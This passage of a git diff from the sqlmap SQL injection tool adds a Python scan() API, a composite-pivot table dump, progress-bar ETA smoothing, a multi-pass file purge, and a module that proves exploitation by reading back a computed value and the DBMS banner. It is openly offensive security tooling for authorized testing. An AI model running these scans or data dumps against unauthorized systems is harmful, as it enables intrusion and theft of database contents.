level=3) is equivalent to + the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users', + 'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed + with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no + argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not + expressible as a config option (e.g. raw=["--fresh-queries"]). + + The engine runs fully out-of-process, so a scan can never affect the calling process (no shared + global state, no HTTP-stack patching, no risk of the host being exited). The return value is the + parsed '--report-json' report - the same structure as the REST API '/scan//data' response: a + dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES, + BANNER, DUMP_TABLE, ...), 'error' and 'meta'. + + scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once + in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan, + url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API + subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own + output directory (so parallel scans of the same target can not collide on session/dump files and + nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in + memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass + 'outputDir' to keep the run's files. + + Example: + import sqlmap + result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users") + """ + + import shutil + import subprocess + import time + + from lib.core.common import saveConfig + from lib.core.optiondict import optDict + + if not (url or requestFile): + raise SqlmapError("scan() requires either 'url' or 'requestFile'") + + if not os.path.isfile(SQLMAP_FILE): + raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE) + + knownOptions = set() + for family in optDict.values(): + knownOptions.update(family) + + config = {} + if url: + config["url"] = url + if requestFile: + config["requestFile"] = requestFile + config.update(options) + + unknown = [_ for _ in config if _ not in knownOptions] + if unknown: + raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown))) + + handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json") + os.close(handle) + + # Each run gets its own output directory so concurrent scans can not collide on session/dump files + # and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place. + ownOutput = not outputDir + if ownOutput: + outputDir = tempfile.mkdtemp(prefix="sqlmap-output-") + + # engine plumbing goes through the very same option namespace + config["batch"] = True + config["disableColoring"] = True + config["outputDir"] = outputDir + config["reportJson"] = report + + handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf") + os.close(handle) + saveConfig(config, configFile) + + argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"] + if raw: + argv += list(raw) + + logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log") + devnull = open(os.devnull, "rb") + + kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT} + if os.name == "nt": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + elif sys.version_info >= (3, 2): + kwargs["start_new_session"] = True # own process group -> clean group teardown + else: + kwargs["preexec_fn"] = os.setsid + + process = None + try: + process = subprocess.Popen(argv, **kwargs) + + if timeout is None: + process.wait() + else: + end = time.time() + timeout + while process.poll() is None: + if time.time() > end: + _terminateProcess(process) + process.wait() + raise SqlmapError("scan timed out after %s second(s)" % timeout) + time.sleep(0.5) + + try: + with open(report, "rb") as f: + return json.loads(f.read().decode("utf-8", "replace")) + except (IOError, OSError, ValueError): + try: + with open(logFile, "rb") as f: + tail = f.read().decode("utf-8", "replace").strip() + except (IOError, OSError): + tail = "" + raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:])) + finally: + try: + os.close(logHandle) + except OSError: + pass + devnull.close() + for path in (report, logFile, configFile): + try: + os.remove(path) + except OSError: + pass + if ownOutput: + shutil.rmtree(outputDir, ignore_errors=True) + +def scanFromRequest(requestFile, **options): + """ + Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r') + """ + + return scan(requestFile=requestFile, **options) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 008a33c59a9..96a30d58c89 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,10 +14,12 @@ from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue +from lib.core.common import prioritySortColumns from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange +from lib.core.convert import getConsoleLength from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -28,7 +30,6 @@ from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException -from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper @@ -44,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): validColumnList = False validPivotValue = False + compositePivot = None if count is None: query = dumpNode.count % table @@ -58,7 +60,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): logger.info(infoMsg) for column in colList: - lengths[column] = len(column) + lengths[column] = getConsoleLength(column) entries[column] = [] return entries, lengths @@ -70,7 +72,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths[column] = 0 entries[column] = BigArray() - colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = prioritySortColumns(filterNone(colList)) if conf.pivotColumn: for _ in colList: @@ -117,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) + if not validPivotValue: + # No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a + # concatenation of every column) whose combined value is unique per row, so rows sharing + # a value in every individual column are no longer silently dropped (ref: #1545). + _composite = agent.concatQuery(','.join(colList)) + query = dumpNode.count2 % (_composite, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value) and int(value) == count: + infoMsg = "using a concatenation of all columns as a " + infoMsg += "composite pivot for retrieving row data" + logger.info(infoMsg) + + compositePivot = _composite + lengths[compositePivot] = 0 + entries[compositePivot] = BigArray() + colList.insert(0, compositePivot) + validPivotValue = True + if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" @@ -169,7 +191,7 @@ def _(column, pivotValue): value = "" if isNoneValue(value) else unArrayizeValue(value) - lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: @@ -185,4 +207,9 @@ def _(column, pivotValue): logger.critical(errMsg) + # The composite pivot is a synthetic paging key, not a real column - drop it from the output + if compositePivot is not None: + entries.pop(compositePivot, None) + lengths.pop(compositePivot, None) + return entries, lengths diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 9e906326ae3..97e58a9bb91 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,8 @@ from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb +from lib.core.settings import ETA_DISPLAY_SMOOTHING +from lib.core.settings import IS_TTY class ProgressBar(object): """ @@ -26,7 +28,9 @@ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._start = None + self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate + self._eta = None # last estimated seconds-remaining and when it was computed, so tick() + self._etaAt = None # can keep the countdown live between (possibly slow) item updates self.update() def _convertSeconds(self, value): @@ -73,17 +77,39 @@ def update(self, newAmount=0): def progress(self, newAmount): """ - This method saves item delta time and shows updated progress bar with calculated eta + Redraw the bar with an ETA from the average time per completed item so far, applied to the items + still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount) + - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item. """ - if self._start is None or newAmount > self._max: - self._start = time.time() - eta = None + now = time.time() + if newAmount > self._max: # counter rollover/reset -> restart timing + self._start = now + self._eta = None + + done = newAmount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None + + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target # first estimate: nothing to ease from else: - delta = time.time() - self._start - eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta + current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick()) + self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate + self._etaAt = now self.update(newAmount) + self.draw(self._eta) + + def tick(self): + """ + Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays + live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate + """ + + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt)) self.draw(eta) def draw(self, eta=None): @@ -91,6 +117,9 @@ def draw(self, eta=None): This method draws the progress bar if it has changed """ + if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output) + return + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) diff --git a/lib/utils/prove.py b/lib/utils/prove.py new file mode 100644 index 00000000000..fccd275dc98 --- /dev/null +++ b/lib/utils/prove.py @@ -0,0 +1,393 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os + +from lib.core.common import Backend +from lib.core.common import average +from lib.core.common import openFile +from lib.core.common import randomInt +from lib.core.common import stdev +from lib.core.common import unArrayizeValue +from lib.core.common import urldecode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import SLEEP_TIME_MARKER +from lib.request.inject import getValue + +# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives) +PROVE_REPETITIONS = 5 + +# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals, +# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None +_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles") + +# width the field labels are padded to, so the values line up in a clean column +_LABEL_WIDTH = 9 + + +def _field(label, value): + """ + Renders one 'Label: value' line (value column aligned), with any extra list items as continuation + lines indented under the value. + """ + + lines = list(value) if isinstance(value, (list, tuple)) else [value] + indent = " " * (_LABEL_WIDTH + 2) + retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "") + for extra in lines[1:]: + retVal += "\n%s%s" % (indent, extra) + return retVal + + +def _activateInjection(injection): + """ + Points the global comparison configuration (and kb.injection) at the injection being proven, so the + boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the + globals drifted to during enumeration. Returns the previous state for restoration. + """ + + saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS) + saved["injection"] = kb.injection + + for attr in _COMPARISON_ATTRS: + setattr(conf, attr, getattr(injection.conf, attr, None)) + kb.injection = injection + + return saved + + +def _restoreInjection(saved): + kb.injection = saved.pop("injection") + for attr, value in saved.items(): + setattr(conf, attr, value) + + +def _booleanOracle(expression): + """ + Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are + forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS + that blocks their function-heavy payloads makes them return None, which (with expectingNone) short- + circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading. + """ + + return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False) + + +def _signalArtifacts(expression): + """ + Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page ) of the + response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual + TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error. + """ + + from lib.core.common import extractRegexResult, getCurrentThreadData + from lib.core.settings import HTML_TITLE_REGEX + + try: + _booleanOracle(expression) + threadData = getCurrentThreadData() + return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip() + except Exception: + return None, None + + +def _proveBoolean(injection, signal=None): + """ + Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already + auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal + line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two + page titles - so a reader sees exactly what tells TRUE from FALSE. + + When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based? + and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF) + artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer. + """ + + retVal = [] + n = randomInt() + + trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n))) + falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False) + + line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS) + if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS: + line += ", repeatably" # only claim repeatability when every repetition agreed + retVal.append(line) + + trueCode = trueTitle = falseCode = falseTitle = None + if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them + trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) + falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) + + if signal is not None: + signal["codeBased"] = bool(injection.conf.code) + signal["trueCode"], signal["falseCode"] = trueCode, falseCode + + if injection.conf.string: + retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u')) + elif injection.conf.notString: + retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u')) + elif injection.conf.code: + if trueCode and falseCode and trueCode != falseCode: + retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode)) + else: + retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code) + elif injection.conf.titles: + if trueTitle and falseTitle and trueTitle != falseTitle: + retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u'))) + else: + retVal.append("the page <title> differs between the TRUE and FALSE responses") + else: + retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)") + + return retVal + + +def _proveTime(injection): + """ + Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the + statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR), + it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled + delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to + a baseline-vs-jitter statement. + """ + + from lib.core.agent import agent + from lib.core.common import getCurrentThreadData, popValue, pushValue + from lib.request.connect import Connect as Request + + retVal = [] + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + vector = (injection.data.get(stype) or {}).get("vector") + + def _baselineStatement(): + baseline = kb.responseTimes.get(kb.responseTimeMode) or [] + if len(baseline) >= 2: + return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline)) + return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably" + + if not (vector and SLEEP_TIME_MARKER in vector): + retVal.append(_baselineStatement()) + return retVal + + n = randomInt() + base = conf.timeSec or 5 + measurements = [] + + benign = [] + for _ in range(3): + try: + Request.queryPage(timeBasedCompare=True, raise404=False, silent=True) + benign.append(getCurrentThreadData().lastQueryDuration) + except Exception: + pass + for k in (0, base, 2 * base): + pushValue(conf.timeSec) + conf.timeSec = k + try: + query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n)))) + Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True) + measurements.append((k, getCurrentThreadData().lastQueryDuration)) + except Exception: + measurements.append((k, None)) + finally: + conf.timeSec = popValue() + + if any(d is None for _, d in measurements): + retVal.append(_baselineStatement()) + return retVal + + d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1]) + baseAvg = average(benign) if benign else d0 + baseStd = stdev(benign) if len(benign) >= 2 else 0.0 + + # only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline, + # Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but + # does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic) + linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT + + if linear: + retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements))) + retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)") + else: + retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd)) + retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces") + + return retVal + + +def _retrieveProof(): + """ + Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest: + + 1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no + table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are + random, so reading the exact product back proves the back-end actually executed injected SQL + (not a reflected constant); + 2. the DBMS banner: a real datum the application never returns on its own (the strongest proof). + + Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one + DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present. + """ + + from lib.request import inject + + retVal = [] + + a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable + try: + result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True) + except Exception: + result = None + if result is not None and ("%s" % result).strip() == str(a * b): + retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b))) + + label = value = None + for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled + (conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"), + (conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"), + (conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"), + ): + if requested and candidate: + label, value = lbl, unArrayizeValue(candidate) + break + + if value is None: + dbms = Backend.getIdentifiedDbms() + banner = getattr(queries.get(dbms), "banner", None) if dbms else None + query = getattr(banner, "query", None) if banner else None + if query: + try: + value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True)) + label = "back-end DBMS banner" + except Exception: + value = None + + if value: + retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u')))) + + return retVal + + +def proveExploitation(): + """ + Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point + (option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the + target URL and the confirmed injection point (parameter / type / title / payload), then the strongest + proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive + one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the + distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both + to stdout and to '<output>/proof.txt'. + """ + + if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections): + return + + injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0] + + signal = {} + saved = _activateInjection(injection) + try: + if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + stype = PAYLOAD.TECHNIQUE.BOOLEAN + proof = _proveBoolean(injection, signal) + elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + proof = _proveTime(injection) + elif PAYLOAD.TECHNIQUE.ERROR in injection.data: + stype = PAYLOAD.TECHNIQUE.ERROR + proof = ["the back-end error message returns the requested value directly"] + elif PAYLOAD.TECHNIQUE.UNION in injection.data: + stype = PAYLOAD.TECHNIQUE.UNION + proof = ["the requested value is rendered inside the application response"] + else: + stype = next(iter(injection.data), None) + proof = [] + + rungs = _retrieveProof() + finally: + _restoreInjection(saved) + + from lib.core.agent import agent + + target = conf.url or "" + if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path + target += "?%s" % conf.parameters[PLACE.GET] + + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place + sdata = injection.data.get(stype) + + fields = [_field("Target", target)] + if conf.parameters.get(PLACE.POST): + fields.append(_field("Data", conf.parameters[PLACE.POST])) + fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType))) + if sdata is not None: + fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype])) + if sdata.payload: + payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus)) + fields.append(_field("Payload", payload)) + # Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that + # distinguishes a real injection from a differential that merely correlates with the payload. A + # WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when + # FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so + # the differential alone is exactly the signal detection already (mis)read. If nothing could be read + # back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict. + proven = bool(rungs) + + # whether ANY confirmed technique here can return data inline; a stacked-query-only point cannot, so a + # failed read-back below is expected there and must NOT be spun into a "false positive" verdict + canReadBack = any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.TIME)) + + if proven: + if proof: + fields.append(_field("Proof", proof)) + for label, text in rungs: + fields.append(_field(label, text)) + header = "sqlmap proved exploitation of the following injection point" + else: + if proof: + fields.append(_field("Observed", proof)) # the differential is observed, but unconfirmed + suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400 + wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs) + verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"] + if suspectWaf: + verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode")) + if not canReadBack: + # e.g. stacked-query-only: no confirmed technique returns data inline, so a value cannot be read + # back here - that is expected by design and is NOT evidence of a false positive + verdict.append("this injection point exposes no data-returning channel (e.g. stacked queries), so a value cannot be read back inline - expected here, not a false positive") + verdict.append("=> confirm exploitation through a side effect instead (e.g. '--os-shell', or '--sql-query' run with '--technique=S')") + elif wafInterfering: + # behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval + # payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false + # positive", point the user at the way to disambiguate instead + verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive") + verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove") + else: + verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE") + fields.append(_field("Verdict", verdict)) + header = "sqlmap could NOT prove exploitation of the reported injection point" + + data = "\n".join(fields) + conf.dumper.string(header, data) + + try: + path = os.path.join(conf.outputPath or ".", "proof.txt") + with openFile(path, "w+") as f: + f.write("%s:\n---\n%s\n---\n" % (header, data)) + logger.info("proof of exploitation written to '%s'" % path) + except Exception: + pass diff --git a/lib/utils/purge.py b/lib/utils/purge.py index e89895eba00..a290f93f773 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,11 +13,9 @@ import string from lib.core.common import getSafeExString -from lib.core.common import openFile -from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import logger -from thirdparty.six import unichr as _unichr +from lib.core.settings import PURGE_BLOCK_SIZE def purge(directory): """ @@ -46,12 +44,25 @@ def purge(directory): except: pass - logger.debug("writing random data to files") + logger.debug("overwriting file contents") for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with openFile(filepath, "w+b") as f: - f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) + if filesize: + # Note: NIST SP 800-88 ("Clear") / DoD 5220.22-M style multi-pass in-place overwrite + # (zeros, ones, random) forcing each pass to disk; performed BEFORE the truncation below + # so the original bytes are actually overwritten and not just released to free blocks. + # Written in bounded blocks so peak memory stays O(PURGE_BLOCK_SIZE), not O(filesize) + with open(filepath, "r+b") as f: + for getBlock in (lambda n: b"\x00" * n, lambda n: b"\xff" * n, lambda n: os.urandom(n)): + f.seek(0) + remaining = filesize + while remaining > 0: + count = min(PURGE_BLOCK_SIZE, remaining) + f.write(getBlock(count)) + remaining -= count + f.flush() + os.fsync(f.fileno()) except: pass diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index 15ba36965a9..d6004ef7a57 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,14 +12,16 @@ PY3 = sys.version_info >= (3, 0) -if PY3: +try: + # Py2 + text_type = unicode + string_types = (basestring,) +except NameError: + # Py3 xrange = range text_type = str string_types = (str,) unichr = chr -else: - text_type = unicode - string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" @@ -74,6 +76,11 @@ def safecharencode(value): def safechardecode(value, binary=False): """ Reverse function to safecharencode + + >>> safechardecode(u'test123') == u'test123' + True + >>> safechardecode(safecharencode(u'test\x01\x02\xaf')) == u'test\x01\x02\xaf' + True """ retVal = value diff --git a/lib/utils/search.py b/lib/utils/search.py index 5ae11a10c63..0ac45d72a7c 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,7 +11,6 @@ from lib.core.common import getSafeExString from lib.core.common import popValue from lib.core.common import pushValue -from lib.core.common import readInput from lib.core.common import urlencode from lib.core.convert import getBytes from lib.core.convert import getUnicode @@ -23,8 +22,6 @@ from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapConnectionException -from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT @@ -37,150 +34,102 @@ from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks -def _search(dork): +def _fetch(url, headers, data=None): """ - This method performs the effective search on Google providing - the google dork and the Google session cookie + Fetches and returns the (decoded) content of a search engine results page + (or None in case of a connection issue) """ - if not dork: - return None - - page = None - data = None - requestHeaders = {} - responseHeaders = {} - - requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) - requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE - requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE + retVal = None try: - req = 